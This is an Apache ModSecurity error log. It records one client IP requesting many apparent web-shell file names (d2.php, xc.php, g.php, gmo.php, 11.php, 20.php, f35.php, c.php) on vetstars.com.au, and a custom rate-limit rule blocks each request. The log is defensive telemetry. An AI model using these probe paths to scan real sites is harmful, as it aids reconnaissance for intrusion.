[Wed Apr 01 02:51:08.341482 2026] [:error] [pid 52592:tid 52668] [client 68.221.68.130:22668] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/d2.php"] [unique_id "acwXnD-61iqkPKUhqlb-LwAAABU"]
[Wed Apr 01 02:51:08.586342 2026] [:error] [pid 52836:tid 52916] [client 68.221.68.130:22729] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/d2.php"] [unique_id "acwXnJjk_YTY8bXnEz5wxQAAAFg"]
[Wed Apr 01 02:51:08.827608 2026] [:error] [pid 52593:tid 52695] [client 68.221.68.130:22818] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/d2.php"] [unique_id "acwXnOKOtxqtcDhRtD-itwAAAJU"]
[Wed Apr 01 02:51:09.075774 2026] [:error] [pid 52594:tid 52716] [client 68.221.68.130:22748] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/d2.php"] [unique_id "acwXnUe53suVMS91e0RIewAAAM8"]
[Wed Apr 01 02:51:09.306861 2026] [:error] [pid 19113:tid 19127] [client 68.221.68.130:22711] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/d2.php"] [unique_id "acwXnfXQdXnDyA4XYbYGDAAAAQw"]
[Wed Apr 01 02:51:09.553415 2026] [:error] [pid 52593:tid 52693] [client 68.221.68.130:22592] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/d2.php"] [unique_id "acwXneKOtxqtcDhRtD-iuAAAAJM"]
[Wed Apr 01 02:51:09.785088 2026] [:error] [pid 52594:tid 52725] [client 68.221.68.130:22773] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xc.php"] [unique_id "acwXnUe53suVMS91e0RIfgAAANg"]
[Wed Apr 01 02:51:10.034941 2026] [:error] [pid 52594:tid 52705] [client 68.221.68.130:22693] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xc.php"] [unique_id "acwXnke53suVMS91e0RIfwAAAMQ"]
[Wed Apr 01 02:51:10.267408 2026] [:error] [pid 52594:tid 52718] [client 68.221.68.130:22698] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xc.php"] [unique_id "acwXnke53suVMS91e0RIgAAAANE"]
[Wed Apr 01 02:51:10.521370 2026] [:error] [pid 52594:tid 52714] [client 68.221.68.130:22605] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xc.php"] [unique_id "acwXnke53suVMS91e0RIhAAAAM0"]
[Wed Apr 01 02:51:10.752008 2026] [:error] [pid 52592:tid 52654] [client 68.221.68.130:22529] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xc.php"] [unique_id "acwXnj-61iqkPKUhqlb-NQAAAAc"]
[Wed Apr 01 02:51:11.015977 2026] [:error] [pid 52836:tid 52899] [client 68.221.68.130:22685] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xc.php"] [unique_id "acwXn5jk_YTY8bXnEz5wxgAAAEc"]
[Wed Apr 01 02:51:11.233497 2026] [:error] [pid 52592:tid 52653] [client 68.221.68.130:22716] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xc.php"] [unique_id "acwXnz-61iqkPKUhqlb-NgAAAAY"]
[Wed Apr 01 02:51:11.495463 2026] [:error] [pid 19113:tid 19124] [client 68.221.68.130:22719] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xc.php"] [unique_id "acwXn_XQdXnDyA4XYbYGFwAAAQk"]
[Wed Apr 01 02:51:11.757743 2026] [:error] [pid 52593:tid 52689] [client 68.221.68.130:22664] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g.php"] [unique_id "acwXn-KOtxqtcDhRtD-ivwAAAI8"]
[Wed Apr 01 02:51:11.974582 2026] [:error] [pid 52836:tid 52897] [client 68.221.68.130:22662] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g.php"] [unique_id "acwXn5jk_YTY8bXnEz5wyQAAAEU"]
[Wed Apr 01 02:51:12.239427 2026] [:error] [pid 52593:tid 52679] [client 68.221.68.130:22642] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g.php"] [unique_id "acwXoOKOtxqtcDhRtD-iwQAAAIU"]
[Wed Apr 01 02:51:12.454516 2026] [:error] [pid 52593:tid 52697] [client 68.221.68.130:22718] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g.php"] [unique_id "acwXoOKOtxqtcDhRtD-iwgAAAJc"]
[Wed Apr 01 02:51:12.736724 2026] [:error] [pid 52592:tid 52664] [client 68.221.68.130:22715] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g.php"] [unique_id "acwXoD-61iqkPKUhqlb-OgAAABE"]
[Wed Apr 01 02:51:12.932614 2026] [:error] [pid 19113:tid 19132] [client 68.221.68.130:22703] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g.php"] [unique_id "acwXoPXQdXnDyA4XYbYGHQAAARE"]
[Wed Apr 01 02:51:13.216959 2026] [:error] [pid 19113:tid 19137] [client 68.221.68.130:22689] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g.php"] [unique_id "acwXofXQdXnDyA4XYbYGHgAAARY"]
[Wed Apr 01 02:51:13.413321 2026] [:error] [pid 52836:tid 52902] [client 68.221.68.130:22647] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g.php"] [unique_id "acwXoZjk_YTY8bXnEz5wzAAAAEo"]
[Wed Apr 01 02:51:13.701630 2026] [:error] [pid 52836:tid 52898] [client 68.221.68.130:22676] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gmo.php"] [unique_id "acwXoZjk_YTY8bXnEz5wzQAAAEY"]
[Wed Apr 01 02:51:13.892045 2026] [:error] [pid 52836:tid 52900] [client 68.221.68.130:22710] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gmo.php"] [unique_id "acwXoZjk_YTY8bXnEz5wzwAAAEg"]
[Wed Apr 01 02:51:14.213678 2026] [:error] [pid 52594:tid 52718] [client 68.221.68.130:22679] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gmo.php"] [unique_id "acwXoke53suVMS91e0RIjAAAANE"]
[Wed Apr 01 02:51:14.380965 2026] [:error] [pid 52593:tid 52686] [client 68.221.68.130:22600] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gmo.php"] [unique_id "acwXouKOtxqtcDhRtD-ixwAAAIw"]
[Wed Apr 01 02:51:14.696157 2026] [:error] [pid 19113:tid 19115] [client 68.221.68.130:22630] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gmo.php"] [unique_id "acwXovXQdXnDyA4XYbYGIQAAAQA"]
[Wed Apr 01 02:51:14.865465 2026] [:error] [pid 19113:tid 19129] [client 68.221.68.130:22560] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gmo.php"] [unique_id "acwXovXQdXnDyA4XYbYGIgAAAQ4"]
[Wed Apr 01 02:51:15.223596 2026] [:error] [pid 19113:tid 19125] [client 68.221.68.130:22606] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gmo.php"] [unique_id "acwXo_XQdXnDyA4XYbYGJAAAAQo"]
[Wed Apr 01 02:51:15.345382 2026] [:error] [pid 52593:tid 52692] [client 68.221.68.130:22597] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gmo.php"] [unique_id "acwXo-KOtxqtcDhRtD-izQAAAJI"]
[Wed Apr 01 02:51:15.706616 2026] [:error] [pid 52593:tid 52674] [client 68.221.68.130:22624] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/11.php"] [unique_id "acwXo-KOtxqtcDhRtD-izwAAAIA"]
[Wed Apr 01 02:51:15.827879 2026] [:error] [pid 19113:tid 19131] [client 68.221.68.130:22608] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/11.php"] [unique_id "acwXo_XQdXnDyA4XYbYGKAAAARA"]
[Wed Apr 01 02:51:16.224369 2026] [:error] [pid 19113:tid 19136] [client 68.221.68.130:22535] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/11.php"] [unique_id "acwXpPXQdXnDyA4XYbYGKwAAARU"]
[Wed Apr 01 02:51:16.315731 2026] [:error] [pid 19113:tid 19133] [client 68.221.68.130:23066] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/11.php"] [unique_id "acwXpPXQdXnDyA4XYbYGLQAAARI"]
[Wed Apr 01 02:51:16.704073 2026] [:error] [pid 19113:tid 19135] [client 68.221.68.130:22701] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/11.php"] [unique_id "acwXpPXQdXnDyA4XYbYGMAAAARQ"]
[Wed Apr 01 02:51:16.807306 2026] [:error] [pid 52836:tid 52911] [client 68.221.68.130:22706] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/11.php"] [unique_id "acwXpJjk_YTY8bXnEz5w0wAAAFM"]
[Wed Apr 01 02:51:17.240326 2026] [:error] [pid 52836:tid 52915] [client 68.221.68.130:22655] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/11.php"] [unique_id "acwXpZjk_YTY8bXnEz5w1QAAAFc"]
[Wed Apr 01 02:51:17.286813 2026] [:error] [pid 52593:tid 52677] [client 68.221.68.130:22548] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/11.php"] [unique_id "acwXpeKOtxqtcDhRtD-i1AAAAIM"]
[Wed Apr 01 02:51:17.719909 2026] [:error] [pid 52836:tid 52907] [client 68.221.68.130:23076] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/20.php"] [unique_id "acwXpZjk_YTY8bXnEz5w1wAAAE8"]
[Wed Apr 01 02:51:17.767428 2026] [:error] [pid 52592:tid 52670] [client 68.221.68.130:22704] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/20.php"] [unique_id "acwXpT-61iqkPKUhqlb-QAAAABc"]
[Wed Apr 01 02:51:18.222428 2026] [:error] [pid 19113:tid 19123] [client 68.221.68.130:22714] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/20.php"] [unique_id "acwXpvXQdXnDyA4XYbYGNAAAAQg"]
[Wed Apr 01 02:51:18.246287 2026] [:error] [pid 19113:tid 19133] [client 68.221.68.130:22737] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/20.php"] [unique_id "acwXpvXQdXnDyA4XYbYGNQAAARI"]
[Wed Apr 01 02:51:18.719454 2026] [:error] [pid 52593:tid 52683] [client 68.221.68.130:22639] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/20.php"] [unique_id "acwXpuKOtxqtcDhRtD-i1wAAAIk"]
[Wed Apr 01 02:51:18.731339 2026] [:error] [pid 52594:tid 52709] [client 68.221.68.130:22690] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/20.php"] [unique_id "acwXpke53suVMS91e0RIjgAAAMg"]
[Wed Apr 01 02:51:19.228998 2026] [:error] [pid 19113:tid 19129] [client 68.221.68.130:22628] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/20.php"] [unique_id "acwXp_XQdXnDyA4XYbYGPwAAAQ4"]
[Wed Apr 01 02:51:19.248327 2026] [:error] [pid 19113:tid 19119] [client 68.221.68.130:22702] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/20.php"] [unique_id "acwXp_XQdXnDyA4XYbYGQAAAAQQ"]
[Wed Apr 01 02:51:19.714882 2026] [:error] [pid 52593:tid 52687] [client 68.221.68.130:22644] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35.php"] [unique_id "acwXp-KOtxqtcDhRtD-i2AAAAI0"]
[Wed Apr 01 02:51:19.754728 2026] [:error] [pid 19113:tid 19123] [client 68.221.68.130:22598] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35.php"] [unique_id "acwXp_XQdXnDyA4XYbYGRQAAAQg"]
[Wed Apr 01 02:51:20.195959 2026] [:error] [pid 52594:tid 52716] [client 68.221.68.130:22556] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35.php"] [unique_id "acwXqEe53suVMS91e0RIjwAAAM8"]
[Wed Apr 01 02:51:20.239158 2026] [:error] [pid 52594:tid 52719] [client 68.221.68.130:22594] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35.php"] [unique_id "acwXqEe53suVMS91e0RIkAAAANI"]
[Wed Apr 01 02:51:20.677958 2026] [:error] [pid 52836:tid 52898] [client 68.221.68.130:22641] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35.php"] [unique_id "acwXqJjk_YTY8bXnEz5w2gAAAEY"]
[Wed Apr 01 02:51:20.716588 2026] [:error] [pid 52594:tid 52706] [client 68.221.68.130:22645] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35.php"] [unique_id "acwXqEe53suVMS91e0RIkQAAAMU"]
[Wed Apr 01 02:51:21.157619 2026] [:error] [pid 19113:tid 19123] [client 68.221.68.130:22636] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35.php"] [unique_id "acwXqfXQdXnDyA4XYbYGSgAAAQg"]
[Wed Apr 01 02:51:21.202849 2026] [:error] [pid 52836:tid 52912] [client 68.221.68.130:22541] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/f35.php"] [unique_id "acwXqZjk_YTY8bXnEz5w3AAAAFQ"]
[Wed Apr 01 02:51:21.640620 2026] [:error] [pid 19113:tid 19130] [client 68.221.68.130:22669] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/c.php"] [unique_id "acwXqfXQdXnDyA4XYbYGTQAAAQ8"]
[Wed Apr 01 02:51:21.683997 2026] [:error] [pid 19113:tid 19136] [client 68.221.68.130:22700] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/c.php"] [unique_id "acwXqfXQdXnDyA4XYbYGTgAAARU"]
[Wed Apr 01 02:51:22.120300 2026] [:error] [pid 19113:tid 19120] [client 68.221.68.130:22619] [client 68.221.68.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/c.php"] [unique_id "acwXqvXQdXnDyA4XYbYGUgAAAQU"]
